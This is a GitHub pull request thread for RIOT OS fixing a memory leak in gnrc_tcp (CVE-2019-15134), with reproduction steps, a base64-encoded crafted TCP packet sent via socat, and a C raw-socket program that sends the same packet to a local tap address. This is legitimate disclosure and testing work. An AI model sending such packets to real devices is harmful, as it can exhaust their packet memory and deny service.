-
Notifications
You must be signed in to change notification settings - Fork 2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
gnrc_tcp: Fix memory leak, potential DOS #12001
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
pkt
is released in each return path now, that looks right.
Has this been tested/checked, e.g., with valgrind ? |
The fix has been tested with valgrind by myself, however, I am by no means familiar with the internals of
Does this mean that you can confirm the existence of the memory leak? |
Maybe @miri64 can give this a final look? |
@brummer-simon FYI |
I tried to reproduce the issue and failed. Could you please add more details on your tap device setup? |
Could you provide more details on what failed? If you enable debug in the corresponding files I also believe that this is fairly obvious simply by looking at the code. Or to rephrase that: Where does gnrc_tcp release the pktbuf memory when no fitting tcb has been found? |
The final step in the Error reproduction failed on my system: failed because socat was not able to resolve [fe80::e87d:b3ff:fe8b:4f02%tap0], although tap0 had inet6 fe80::e87d:b3ff:fe8b:4f01/64 assigned to it. That might be tap-device setup related, I used How did you setup your Tap Device?
I think the issue and the fix are obvious, but I still want to reproduce the Issue and test the fix. Again, thanks for finding it. |
Though I believe that RIOT itself added that IP address to the interface. My
What does your
What's the exact socat output? Is your socat compiled with IPv6 support and support for raw IP sockets? |
Output of "ip addr show dev tap0": Output of "echo rwsQf2pekYLaU+exUBBwgPDKAAA= | base64 -d | socat -u STDIN IP6-SENDTO:[fe80::e87d:b3ff:fe8b:4f02%tap0]:6:"
The output of socat -V is contains '#define WITH_IP6 1' and '#define WITH_RAWIP 1' so i assume everything required is supported by socat. |
That's probably a bug in socat. See alpinelinux/aports#10055 didn't think that this would also happen on non-musl-libc based systems. You can either apply the patch linked above to socat or try the following C program which sends the same packet (a bit hacky and not-well tested at all but should work): #include <err.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sendfile.h>
static const uint8_t buffer[256] = {
0xaf, 0x0b, 0x10, 0x7f, 0x6a, 0x5e, 0x91, 0x82, 0xda, 0x53,
0xe7, 0xb1, 0x50, 0x10, 0x70, 0x80, 0xf0, 0xca, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
int
main(void)
{
int fd, optval;
struct addrinfo hints, *srvinfo;
if ((fd = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) == -1)
err(EXIT_FAILURE, "socket failed");
optval = 1;
if ((setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &optval,
sizeof(optval)) == -1))
err(EXIT_FAILURE, "setsockopt failed");
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_INET6;
if (getaddrinfo("fe80::e87d:b3ff:fe8b:4f02%tap0", NULL, &hints, &srvinfo) != 0)
err(EXIT_FAILURE, "getaddrinfo failed");
assert(srvinfo != NULL);
if (connect(fd, (struct sockaddr *)srvinfo->ai_addr, srvinfo->ai_addrlen) == -1)
err(EXIT_FAILURE, "connect failed");
if (write(fd, buffer, sizeof(buffer)) == -1)
err(EXIT_FAILURE, "write failed");
return EXIT_SUCCESS;
} |
Your C programm worked. Although a had to apply the fix from #11999 to get the expected Results. |
As I consider this a critical issue I requested a CVE for it. This request has been granted recently and this has been assigned CVE-2019-15134. |
Well, it looks like fixed now. Any reason not to merge? |
Not from my side. But I don't have the rights to merge. |
Also needs a backport to the release branch. |
@MrKevinWeiss how about such backport? This is a security bug. |
Has this been backported yet? |
According to our normal procedures, we would expect a backport from @nmeum. In any case, @MrKevinWeiss is aware of the issue and will provide the backport otherwise. |
Ah ok, I will look into it then! |
@nmeum Many thanks! |
Description
I believe I found a memory leak in
gnrc_tcp
which occurs during a faulty TCP handshake, e.g. by sending an ACK instead of SYN as the first packet.Steps to reproduce the issue
The sample packet used below contains a hard-coded IP address, thus it is important to configure RIOT to use that IP address. Otherwise it will reject the packet. On
native
starttests/gnrc_tcp_server
as follows:fe80::e87d:b3ff:fe8b:4f01
and make sure RIOT usesfe80::e87d:b3ff:fe8b:4f02
.USEMODULE += gnrc_pktbuf_malloc
totests/gnrc_tcp_server/Makefile
.gnrc_tcp_server
using:TCP_SERVER_ADDR=fe80::e87d:b3ff:fe8b:4f02 TCP_SERVER_PORT=4223 make -C tests/gnrc_tcp_server/ all-valgrind
gnrc_tcp_server
:make -C tests/gnrc_tcp_server/
Using
socat
send a packet to thegnrc_tcp_server
. This will probably require superuser privileges as it creates a raw IP socket:This can be repeated multiple times. Afterwards, terminate the
gnrc_tcp_server
application by sending it a SIGINT.Expected results
valgrind shouldn't report any memory leaks.
Actual results
Depending on how often the aforementioned packet has been send to RIOT valgrind reports a memory leak. For example:
Impact
IMHO this is a potential DOS as it allows an attacker to consume all pktbuf memory.
Related Issues
#11999